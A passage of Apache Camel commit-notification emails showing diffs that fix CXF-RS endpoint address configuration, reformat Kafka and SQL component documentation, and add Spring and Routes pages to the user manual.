+final Processor testProcessor3 = new TestP

[camel] branch camel-2.21.x updated: CAMEL-12540 Avoid the address setting of CxfRsEndpointConfigurer

2018-05-27 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch camel-2.21.x
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/camel-2.21.x by this push:
 new 2efdb01  CAMEL-12540 Avoid the address setting of 
CxfRsEndpointConfigurer
2efdb01 is described below

commit 2efdb0149f0e9eb39ac605f57dbae06650c3cd36
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Sun May 27 13:58:47 2018 +0800

CAMEL-12540 Avoid the address setting of CxfRsEndpointConfigurer
---
 .../camel/component/cxf/jaxrs/CxfRsBlueprintEndpoint.java  |  1 +
 .../org/apache/camel/component/cxf/jaxrs/CxfRsEndpoint.java| 10 +-
 .../apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java  |  2 ++
 .../cxf/jaxrs/CxfRsProducerEndpointConfigurerTest.java |  4 
 4 files changed, 12 insertions(+), 5 deletions(-)

diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsBlueprintEndpoint.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsBlueprintEndpoint.java
index e9cd9b9..d6a3d50 100644
--- 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsBlueprintEndpoint.java
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsBlueprintEndpoint.java
@@ -91,6 +91,7 @@ public class CxfRsBlueprintEndpoint extends CxfRsEndpoint {
 @Override
 protected JAXRSClientFactoryBean newJAXRSClientFactoryBean() {
 checkBeanType(bean, JAXRSClientFactoryBean.class);
+// TODO Need to find a way to setup the JAXRSClientFactory Bean, as 
the JAXRSClientFactoryBean properties could be changed by the configurer
 return (RsClientBlueprintBean)bean;
 }
 
diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsEndpoint.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsEndpoint.java
index 015918a..69e2471 100644
--- 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsEndpoint.java
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsEndpoint.java
@@ -266,7 +266,7 @@ public class CxfRsEndpoint extends DefaultEndpoint 
implements HeaderFilterStrate
 getNullSafeCxfRsEndpointConfigurer().configure(sfb);
 }
 
-private CxfRsEndpointConfigurer getNullSafeCxfRsEndpointConfigurer() {
+protected CxfRsEndpointConfigurer getNullSafeCxfRsEndpointConfigurer() {
 if (cxfRsEndpointConfigurer == null) {
 return new 
ChainedCxfRsEndpointConfigurer.NullCxfRsEndpointConfigurer();
 }
@@ -304,10 +304,6 @@ public class CxfRsEndpoint extends DefaultEndpoint 
implements HeaderFilterStrate
 }
 
 protected void setupJAXRSClientFactoryBean(JAXRSClientFactoryBean cfb, 
String address) {
-// address
-if (address != null) {
-cfb.setAddress(address);
-}
 if (modelRef != null) {
 cfb.setModelRef(modelRef);
 }
@@ -318,6 +314,10 @@ public class CxfRsEndpoint extends DefaultEndpoint 
implements HeaderFilterStrate
 setupCommonFactoryProperties(cfb);
 cfb.setThreadSafe(true);
 getNullSafeCxfRsEndpointConfigurer().configure(cfb);
+// Add the address could be override by message header
+if (address != null) {
+cfb.setAddress(address);
+}
 }
 
 protected void setupCommonFactoryProperties(AbstractJAXRSFactoryBean 
factory) {
diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
index d10d6c5..954d984 100644
--- 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
@@ -75,6 +75,8 @@ public class CxfRsSpringEndpoint extends CxfRsEndpoint 
implements BeanIdAware {
 @Override
 protected void setupJAXRSClientFactoryBean(JAXRSClientFactoryBean cfb, 
String address) {
 configurer.configureBean(beanId, cfb);
+// support to call the configurer here
+getNullSafeCxfRsEndpointConfigurer().configure(cfb);
 cfb.setAddress(address);
 cfb.setThreadSafe(true);
 }
diff --git 
a/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsProducerEndpointConfigurerTest.java
 
b/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsProducerEndpointConfigurerTest.java
index dbca65a..46dbc2f 100644
--- 
a/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsProducerEndpointConfigurerTest.java
+++ 
b/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsProducerEndpointConfigurerTes

[camel] branch master updated: CAMEL-12540 Avoid the address setting of CxfRsEndpointConfigurer

2018-05-27 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new fad1385  CAMEL-12540 Avoid the address setting of 
CxfRsEndpointConfigurer
fad1385 is described below

commit fad138527a0e4dd7947c7cc7ee1ae1861cd4bc59
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Sun May 27 13:58:47 2018 +0800

CAMEL-12540 Avoid the address setting of CxfRsEndpointConfigurer
---
 .../camel/component/cxf/jaxrs/CxfRsBlueprintEndpoint.java  |  1 +
 .../org/apache/camel/component/cxf/jaxrs/CxfRsEndpoint.java| 10 +-
 .../apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java  |  2 ++
 .../cxf/jaxrs/CxfRsProducerEndpointConfigurerTest.java |  4 
 4 files changed, 12 insertions(+), 5 deletions(-)

diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsBlueprintEndpoint.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsBlueprintEndpoint.java
index e9cd9b9..d6a3d50 100644
--- 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsBlueprintEndpoint.java
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsBlueprintEndpoint.java
@@ -91,6 +91,7 @@ public class CxfRsBlueprintEndpoint extends CxfRsEndpoint {
 @Override
 protected JAXRSClientFactoryBean newJAXRSClientFactoryBean() {
 checkBeanType(bean, JAXRSClientFactoryBean.class);
+// TODO Need to find a way to setup the JAXRSClientFactory Bean, as 
the JAXRSClientFactoryBean properties could be changed by the configurer
 return (RsClientBlueprintBean)bean;
 }
 
diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsEndpoint.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsEndpoint.java
index 1daa8d1..803b8f3 100644
--- 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsEndpoint.java
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsEndpoint.java
@@ -266,7 +266,7 @@ public class CxfRsEndpoint extends DefaultEndpoint 
implements HeaderFilterStrate
 getNullSafeCxfRsEndpointConfigurer().configure(sfb);
 }
 
-private CxfRsEndpointConfigurer getNullSafeCxfRsEndpointConfigurer() {
+protected CxfRsEndpointConfigurer getNullSafeCxfRsEndpointConfigurer() {
 if (cxfRsEndpointConfigurer == null) {
 return new 
ChainedCxfRsEndpointConfigurer.NullCxfRsEndpointConfigurer();
 }
@@ -304,10 +304,6 @@ public class CxfRsEndpoint extends DefaultEndpoint 
implements HeaderFilterStrate
 }
 
 protected void setupJAXRSClientFactoryBean(JAXRSClientFactoryBean cfb, 
String address) {
-// address
-if (address != null) {
-cfb.setAddress(address);
-}
 if (modelRef != null) {
 cfb.setModelRef(modelRef);
 }
@@ -318,6 +314,10 @@ public class CxfRsEndpoint extends DefaultEndpoint 
implements HeaderFilterStrate
 setupCommonFactoryProperties(cfb);
 cfb.setThreadSafe(true);
 getNullSafeCxfRsEndpointConfigurer().configure(cfb);
+// Add the address could be override by message header
+if (address != null) {
+cfb.setAddress(address);
+}
 }
 
 protected void setupCommonFactoryProperties(AbstractJAXRSFactoryBean 
factory) {
diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
index d10d6c5..954d984 100644
--- 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/jaxrs/CxfRsSpringEndpoint.java
@@ -75,6 +75,8 @@ public class CxfRsSpringEndpoint extends CxfRsEndpoint 
implements BeanIdAware {
 @Override
 protected void setupJAXRSClientFactoryBean(JAXRSClientFactoryBean cfb, 
String address) {
 configurer.configureBean(beanId, cfb);
+// support to call the configurer here
+getNullSafeCxfRsEndpointConfigurer().configure(cfb);
 cfb.setAddress(address);
 cfb.setThreadSafe(true);
 }
diff --git 
a/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsProducerEndpointConfigurerTest.java
 
b/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsProducerEndpointConfigurerTest.java
index 7f821f5..94c26d4 100644
--- 
a/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsProducerEndpointConfigurerTest.java
+++ 
b/components/camel-cxf/src/test/java/org/apache/camel/component/cxf/jaxrs/CxfRsProducerEndpointConfigurerTest.java
@@

[camel] branch master updated: Polish the docuement of karfak

2018-05-14 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 5c804dd  Polish the docuement of karfak
5c804dd is described below

commit 5c804dde83fc8986f79119e8951d1afc97083826
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Mon May 14 09:20:42 2018 +0800

Polish the docuement of karfak
---
 .../camel-kafka/src/main/docs/kafka-component.adoc | 26 +++---
 1 file changed, 18 insertions(+), 8 deletions(-)

diff --git a/components/camel-kafka/src/main/docs/kafka-component.adoc 
b/components/camel-kafka/src/main/docs/kafka-component.adoc
index ac32dca..7d89604 100644
--- a/components/camel-kafka/src/main/docs/kafka-component.adoc
+++ b/components/camel-kafka/src/main/docs/kafka-component.adoc
@@ -247,9 +247,13 @@ camelContext.addRoutes(new RouteBuilder() {
 @Override
 public void configure() throws Exception {
 from("kafka:" + TOPIC + "?brokers=localhost:{{kafkaPort}}" +
- "=A" +//
- "=earliest" + // Ask to start 
from the beginning if we have unknown offset
- "=#offsetRepo")  // Keep the 
offsets in the previously configured repository
+ // Setup the topic and broker address
+ "=A" +
+ // The consumer processor group ID
+ "=earliest" +
+ // Ask to start from the beginning if we have unknown 
offset
+ "=#offsetRepo")
+ // Keep the offsets in the previously configured 
repository
 .to("mock:result");
 }
 });
@@ -308,8 +312,11 @@ camelContext.addRoutes(new RouteBuilder() {
 @Override
 public void configure() throws Exception {
 from("kafka:" + TOPIC + "?brokers=localhost:{{kafkaPort}}" +
- "=A" +//
- "=#ssl") // Reference 
the SSL configuration
+ // Setup the topic and broker address
+ "=A" +
+ // The consumer processor group ID
+ "=#ssl")
+ // Reference the SSL configuration
 .to("mock:result");
 }
 });
@@ -365,13 +372,15 @@ In XML:
 [source,xml]
 
 
-
+
   
   
 
 
 
-
+
   
   
   
@@ -408,7 +417,8 @@ You can then use the `KafkaManualCommit` from Java code 
such as a Camel `Process
 [source,java]
 
 public void process(Exchange exchange) {
-KafkaManualCommit manual = 
exchange.getIn().getHeader(KafkaConstants.MANUAL_COMMIT, 
KafkaManualCommit.class);
+KafkaManualCommit manual =
+exchange.getIn().getHeader(KafkaConstants.MANUAL_COMMIT, 
KafkaManualCommit.class);
 manual.commitSync();
 }
 

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] branch master updated: Fixed the code format of sql-component

2018-05-13 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 344f875  Fixed the code format of sql-component
344f875 is described below

commit 344f8750eeadbfa1ff5cfd8e68a7acc5aac557ae
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Sun May 13 19:59:42 2018 +0800

Fixed the code format of sql-component
---
 .../camel-sql/src/main/docs/sql-component.adoc | 104 +
 .../src/main/docs/sql-stored-component.adoc|   4 +-
 docs/user-manual/en/spring.adoc|  14 +--
 3 files changed, 75 insertions(+), 47 deletions(-)

diff --git a/components/camel-sql/src/main/docs/sql-component.adoc 
b/components/camel-sql/src/main/docs/sql-component.adoc
index acc55c2..1846821 100644
--- a/components/camel-sql/src/main/docs/sql-component.adoc
+++ b/components/camel-sql/src/main/docs/sql-component.adoc
@@ -594,10 +594,16 @@ Here is the SQL query used to create the tables, just 
replace
 
 [source,sql]
 ---
-CREATE TABLE aggregation ( id varchar(255) NOT NULL, exchange blob NOT
-NULL, constraint aggregation_pk PRIMARY KEY (id) ); CREATE TABLE
-aggregation_completed ( id varchar(255) NOT NULL, exchange blob NOT
-NULL, constraint aggregation_completed_pk PRIMARY KEY (id) );
+CREATE TABLE aggregation (
+ id varchar(255) NOT NULL,
+ exchange blob NOT NULL,
+ constraint aggregation_pk PRIMARY KEY (id)
+);
+CREATE TABLE aggregation_completed (
+ id varchar(255) NOT NULL,
+ exchange blob NOT NULL,
+ constraint aggregation_completed_pk PRIMARY KEY (id)
+);
 ---
 
 
@@ -612,13 +618,22 @@ store the body, and the following two headers 
`companyName` and
 
 [source,sql]
 ---
-CREATE TABLE aggregationRepo3 ( id varchar(255) NOT NULL, exchange blob
-NOT NULL, body varchar(1000), companyName varchar(1000), accountName
-varchar(1000), constraint aggregationRepo3_pk PRIMARY KEY (id) ); CREATE
-TABLE aggregationRepo3_completed ( id varchar(255) NOT NULL, exchange
-blob NOT NULL, body varchar(1000), companyName varchar(1000),
-accountName varchar(1000), constraint aggregationRepo3_completed_pk
-PRIMARY KEY (id) );
+CREATE TABLE aggregationRepo3 (
+ id varchar(255) NOT NULL,
+ exchange blob NOT NULL,
+ body varchar(1000),
+ companyName varchar(1000),
+ accountName varchar(1000),
+ constraint aggregationRepo3_pk PRIMARY KEY (id)
+);
+CREATE TABLE aggregationRepo3_completed (
+ id varchar(255) NOT NULL,
+ exchange blob NOT NULL,
+ body varchar(1000),
+ companyName varchar(1000),
+ accountName varchar(1000),
+ constraint aggregationRepo3_completed_pk PRIMARY KEY (id)
+);
 ---
  
 
@@ -628,14 +643,19 @@ below:
 [source,xml]
 ---
 
-   companyName
-accountName   
+  class="org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository">
+  
+  
+  
+  
+  
+  
+
+  companyName
+  accountName
+
+  
+
 ---
 
 Codec (Serialization)
@@ -676,17 +696,19 @@ Here is the declaration for Oracle:
 
 [source,xml]
 ---
-   
+
+  
+
+
 
- 
+  class="org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository">
+  
+  
+  
+  
+  
+
 ---
  
 Optimistic locking
@@ -729,16 +751,20 @@ JDBC vendor.
 ---
 
-  
- 
-com.foo.sql.MyViolationExceptoion
-com.foo.sql.MyOtherViolationExceptoion 
- 
+  
+  

[camel] 02/02: Add spring.adoc into user-manual

2018-05-13 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git

commit 1bf64ab51306d5d4cf286d6c0582bc2e710f294e
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Sun May 13 19:43:11 2018 +0800

Add spring.adoc into user-manual
---
 docs/user-manual/en/dsl.adoc|   2 +-
 docs/user-manual/en/spring.adoc | 301 
 2 files changed, 302 insertions(+), 1 deletion(-)

diff --git a/docs/user-manual/en/dsl.adoc b/docs/user-manual/en/dsl.adoc
index b72742e..91b4b80 100644
--- a/docs/user-manual/en/dsl.adoc
+++ b/docs/user-manual/en/dsl.adoc
@@ -9,7 +9,7 @@ languages (DSL) as listed below.
 
 * link:java-dsl.adoc[Java DSL] - A Java based DSL using the fluent
 builder style.
-* Spring XML - A XML based DSL in Spring XML files
+* link:spring.adoc[Spring XML] - A XML based DSL in Spring XML files
 * Blueprint XML - A XML based
 DSL in OSGi Blueprint XML files
 * Rest DSL - A DSL to define REST services using a
diff --git a/docs/user-manual/en/spring.adoc b/docs/user-manual/en/spring.adoc
new file mode 100644
index 000..bb10b6a
--- /dev/null
+++ b/docs/user-manual/en/spring.adoc
@@ -0,0 +1,301 @@
+Spring Support
+~~
+Apache Camel is designed to work nicely with the Spring Framework in a number 
of ways.
+
+* Camel uses Spring Transactions as the default transaction handling in 
components like JMS and JPA
+* Camel works with Spring 2 XML processing with the Xml Configuration
+* Camel Spring XML Schema's is defined at Xml Reference
+* Camel supports a powerful version of Spring Remoting which can use powerful 
routing between the client and server side along with using all of the 
available Components for the transport
+* Camel provides powerful Bean Integration with any bean defined in a Spring 
ApplicationContext.
+* Camel integrates with various Spring helper classes; such as providing Type 
Converter support for Spring Resources etc
+* Allows Spring to dependency inject Component instances or the 
link:camelcontext.adoc[CamelContext] instance itself and auto-expose Spring 
beans as components and endpoints.
+* Allows you to reuse the Spring Testing framework to simplify your unit and 
integration testing using Enterprise Integration Patterns and Camel's powerful 
Mock and Test endpoints
+* From Camel 2.15: Camel supports Spring Boot using the camel-spring-boot 
component.
+* From Camel 2.17.1: Camel supports Spring Cache based Idempotent repository
+
+
+Using Spring to configure the CamelContext
+~~
+
+You can configure a CamelContext inside any spring.xml using the 
CamelContextFactoryBean. This will automatically start the CamelContext along 
with any referenced Routes along any referenced Component and Endpoint 
instances.
+
+* Adding Camel schema
+* Configure Routes in two ways:
+** Using Java Code
+** Using Spring XML
+
+[[Spring-AddingCamelSchema]]
+Adding Camel Schema
+~~~
+For Camel 1.x you need to use the following namespace:
+
+http://activemq.apache.org/camel/schema/spring
+
+
+with the following schema location:
+
+http://activemq.apache.org/camel/schema/spring/camel-spring.xsd
+
+
+You need to add Camel to the schemaLocation declaration
+
+http://camel.apache.org/schema/spring 
http://camel.apache.org/schema/spring/camel-spring.xsd
+
+
+So the XML file looks like this:
+
+[source,xml]
+--
+http://www.springframework.org/schema/beans;
+   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance;
+   xsi:schemaLocation="
+   http://www.springframework.org/schema/beans 
http://www.springframework.org/schema/beans/spring-beans.xsd
+   http://camel.apache.org/schema/spring 
http://camel.apache.org/schema/spring/camel-spring.xsd
+">
+--
+
+Using `camel:` Namespace
+
+Or you can refer to the camel XSD in the XML declaration:
+
+xmlns:camel="http://camel.apache.org/schema/spring;
+
+
+... so the declaration is:
+
+xsi:schemaLocation="
+http://camel.apache.org/schema/spring 
http://camel.apache.org/schema/spring/camel-spring.xsd
+
+[source,xml]
+--
+http://www.springframework.org/schema/beans;
+xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance;
+xmlns:camel="http://camel.apache.org/schema/spring;
+xsi:schemaLocation="
+   http://www.springframework.org/schema/beans 
http://www.springframework.org/schema/beans/spring-beans.xsd
+   http://camel.apache.org/schema/spring 
http:

[camel] branch master updated (2c27df3 -> 1bf64ab)

2018-05-13 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a change to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git.


from 2c27df3  [CAMEL-11257] Fixed checkstyle warnings
 new 6e48953  Added route-builder and routes to the user-manual, and update 
the see also links
 new 1bf64ab  Add spring.adoc into user-manual

The 2 revisions listed above as "new" are entirely new to this
repository and will be described in separate emails.  The revisions
listed as "add" were already present in the repository and have only
been added to this reference.


Summary of changes:
 docs/user-manual/en/camelcontext.adoc  |   6 +-
 docs/user-manual/en/dsl.adoc   |  14 +-
 docs/user-manual/en/route-builder.adoc |   9 +
 docs/user-manual/en/routes.adoc| 112 
 docs/user-manual/en/spring.adoc| 301 +
 5 files changed, 432 insertions(+), 10 deletions(-)
 create mode 100644 docs/user-manual/en/route-builder.adoc
 create mode 100644 docs/user-manual/en/routes.adoc
 create mode 100644 docs/user-manual/en/spring.adoc

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] 01/02: Added route-builder and routes to the user-manual, and update the see also links

2018-05-13 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git

commit 6e48953d28975aba82b77631bdfdc7fa94b3818e
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Sun May 13 14:25:56 2018 +0800

Added route-builder and routes to the user-manual, and update the see also 
links
---
 docs/user-manual/en/camelcontext.adoc  |   6 +-
 docs/user-manual/en/dsl.adoc   |  12 ++--
 docs/user-manual/en/route-builder.adoc |   9 +++
 docs/user-manual/en/routes.adoc| 112 +
 4 files changed, 130 insertions(+), 9 deletions(-)

diff --git a/docs/user-manual/en/camelcontext.adoc 
b/docs/user-manual/en/camelcontext.adoc
index 10da00b..2eadb51 100644
--- a/docs/user-manual/en/camelcontext.adoc
+++ b/docs/user-manual/en/camelcontext.adoc
@@ -8,15 +8,15 @@ represents a single Camel routing rulebase. You use the 
CamelContext in
 a similar way to the Spring
 
http://static.springsource.org/spring/docs/3.0.x/javadoc-api/org/springframework/context/ApplicationContext.html[ApplicationContext].
 
-See Lifecycle to understand the overall lifecycle
+See link:lifecycle.adoc[Lifecycle] to understand the overall lifecycle
 of the CamelContext.
 
 [[CamelContext-SeeAlso]]
 See Also
 
 
-* RouteBuilder
-* Routes
+* link:route-builder.adoc[RouteBuilder]
+* link:routes.adoc[Routes]
 * link:lifecycle.adoc[Lifecycle]
 * link:architecture.adoc[Architecture]
 
diff --git a/docs/user-manual/en/dsl.adoc b/docs/user-manual/en/dsl.adoc
index 3e1c224..b72742e 100644
--- a/docs/user-manual/en/dsl.adoc
+++ b/docs/user-manual/en/dsl.adoc
@@ -7,18 +7,18 @@ link:enterprise-integration-patterns.html[Enterprise 
Integration
 Patterns] or Routes in a variety of domain-specific
 languages (DSL) as listed below.
 
-* Java DSL - A Java based DSL using the fluent
+* link:java-dsl.adoc[Java DSL] - A Java based DSL using the fluent
 builder style.
 * Spring XML - A XML based DSL in Spring XML files
 * Blueprint XML - A XML based
 DSL in OSGi Blueprint XML files
 * Rest DSL - A DSL to define REST services using a
 REST style in either Java or XML.
-* Groovy DSL - A Groovy based DSL using Groovy
+* link:groovy-dsl.adoc[Groovy DSL] - A Groovy based DSL using Groovy
 programming language
-* Scala DSL - A Scala based DSL using Scala
+* link:scala-dsl.adoc[Scala DSL] - A Scala based DSL using Scala
 programming language
-* Annotation DSL - Use annotations in Java
+* link:bean-integration.adoc[Annotation DSL] - Use annotations in Java
 beans.
 * https://github.com/koolio/kool/tree/master/kool-camel[Kotlin DSL] -
 *Work in progress* - Currently developed outside ASF, but will we
@@ -26,7 +26,7 @@ included later in Camel when Kotlin and the DSL is ready.
 
 The main entry points for the DSL are
 
-* CamelContext for creating a Camel routing
+* link:camelcontext.adoc[CamelContext] for creating a Camel routing
 rulebase
 * RouteBuilder for creating a collection of
 routes using the routing DSL
@@ -39,6 +39,6 @@ For more examples of the DSL in action see
 
 * link:enterprise-integration-patterns.adoc[Enterprise Integration
 Patterns]
+* link:routes.adoc[Routes]
 * Examples
-* Routes
 
diff --git a/docs/user-manual/en/route-builder.adoc 
b/docs/user-manual/en/route-builder.adoc
new file mode 100644
index 000..a021f9d
--- /dev/null
+++ b/docs/user-manual/en/route-builder.adoc
@@ -0,0 +1,9 @@
+[[RouteBuilder-RouteBuilder]]
+RouteBuilder
+
+The RouteBuilder is a base class which is derived from to create routing rules 
using the DSL. Instances of RouteBuilder are then added to the CamelContext.
+
+See Also
+* link:camelcontext.adoc[CamelContext]
+* link:routes.adoc[Routes]
+* link:architecture.adoc[Architecture]
diff --git a/docs/user-manual/en/routes.adoc b/docs/user-manual/en/routes.adoc
new file mode 100644
index 000..75c238b
--- /dev/null
+++ b/docs/user-manual/en/routes.adoc
@@ -0,0 +1,112 @@
+[[Routes-Routes]]
+Routes
+~~
+
+Camel supports the definition of routing rules using a Java DSL (domain 
specific language) which avoids the need for cumbersome XML using a 
RouteBuilder.
+
+For example a simple route can be created as follows.
+[source,java]
+--
+RouteBuilder builder = new RouteBuilder() {
+public void configure() {
+errorHandler(deadLetterChannel("mock:error"));
+
+from("direct:a").to("direct:b");
+}
+};
+--
+
+As you can see from the above Camel uses URIs to wire endpoints together.
+
+[[Routes-URI-String-Formatting]]
+URI String formatting
+^^
+Available as of Camel 2.0
+
+If you have endpoint URIs that accept options and you want to be able to 
substitute the value, e.g. build the URI by concat the strings together, then 
you can use the java.lang.String.format method. But in Camel 2.0 w

[camel] branch master updated: Duplicated component name

2018-05-09 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new e0f11a1  Duplicated component name
e0f11a1 is described below

commit e0f11a180a21359dc0023bc923485f4061cff958
Author: Pablo Marambio Cathalifaud <y...@pablomarambio.cl>
AuthorDate: Wed May 9 16:51:57 2018 -0300

Duplicated component name
---
 components/readme.adoc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/readme.adoc b/components/readme.adoc
index 892f43c..fff152f 100644
--- a/components/readme.adoc
+++ b/components/readme.adoc
@@ -27,7 +27,7 @@ Number of Components: 293 in 200 JAR artifacts (20 deprecated)
 `apns:name` | 2.8 | For sending notifications to Apple iOS devices.
 
 | link:camel-asterisk/src/main/docs/asterisk-component.adoc[Asterisk] 
(camel-asterisk) +
-`asterisk:name` | 2.18 | The asterisk component is used to interact with 
Asterisk PBX Server Asterisk PBX Server.
+`asterisk:name` | 2.18 | The asterisk component is used to interact with 
Asterisk PBX Server.
 
 | link:camel-atmos/src/main/docs/atmos-component.adoc[Atmos] (camel-atmos) +
 `atmos:name/operation` | 2.15 | The atmos component is used for integrating 
with EMC's Atomos Storage.

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] branch master updated: Updated the See Also links

2018-05-06 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 010de1f  Updated the See Also links
010de1f is described below

commit 010de1f7fbc64c82578b0bd219fcd35eca917df6
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Sun May 6 20:58:41 2018 +0800

Updated the See Also links
---
 docs/user-manual/en/SUMMARY.md   | 2 --
 docs/user-manual/en/backlogdebugger.adoc | 2 +-
 docs/user-manual/en/camelcontext.adoc| 4 ++--
 docs/user-manual/en/debugger.adoc| 2 +-
 docs/user-manual/en/delay-interceptor.adoc   | 2 +-
 docs/user-manual/en/dsl.adoc | 2 +-
 docs/user-manual/en/groovy-dsl.adoc  | 6 ++
 docs/user-manual/en/intercept.adoc   | 4 ++--
 docs/user-manual/en/java-dsl.adoc| 4 ++--
 docs/user-manual/en/lifecycle.adoc   | 4 ++--
 docs/user-manual/en/scripting-languages.adoc | 2 +-
 11 files changed, 19 insertions(+), 15 deletions(-)

diff --git a/docs/user-manual/en/SUMMARY.md b/docs/user-manual/en/SUMMARY.md
index e961fd6..33153e4 100644
--- a/docs/user-manual/en/SUMMARY.md
+++ b/docs/user-manual/en/SUMMARY.md
@@ -40,7 +40,6 @@
 * [Lifecycle](lifecycle.adoc)
 * [OnCompletion](oncompletion.adoc)
 * [Registry](registry.adoc)
-* [RX](rx.adoc)
 * [Scala DSL](scala-dsl.adoc)
 
 

[camel] branch master updated: CAMEL-10671 Fixed the CI build by introducing the maven dependencies into Ceylon module

2018-05-03 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 03e57c3  CAMEL-10671 Fixed the CI build by introducing the maven 
dependencies into Ceylon module
03e57c3 is described below

commit 03e57c355f5ddeb48af51e9e066dcfd60c2bd62f
Author: Willem Jiang <jiangni...@huawei.com>
AuthorDate: Fri May 4 13:37:12 2018 +0800

CAMEL-10671 Fixed the CI build by introducing the maven dependencies into 
Ceylon module
---
 examples/camel-example-ceylon/pom.xml | 22 ++
 1 file changed, 22 insertions(+)

diff --git a/examples/camel-example-ceylon/pom.xml 
b/examples/camel-example-ceylon/pom.xml
index 4ec21f1..4f9bbcf 100644
--- a/examples/camel-example-ceylon/pom.xml
+++ b/examples/camel-example-ceylon/pom.xml
@@ -111,6 +111,28 @@
 
 
   
+dependency
+
+  import-dependency
+
+
+  
+
+  
+  
+org.apache.camel
+camel-core
+  
+  
+org.apache.camel
+camel-jetty
+  
+
+  
+
+  
+  
+compile
 
   compile
 

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] branch master updated: Updated the enterprise integration pattern document

2018-05-03 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

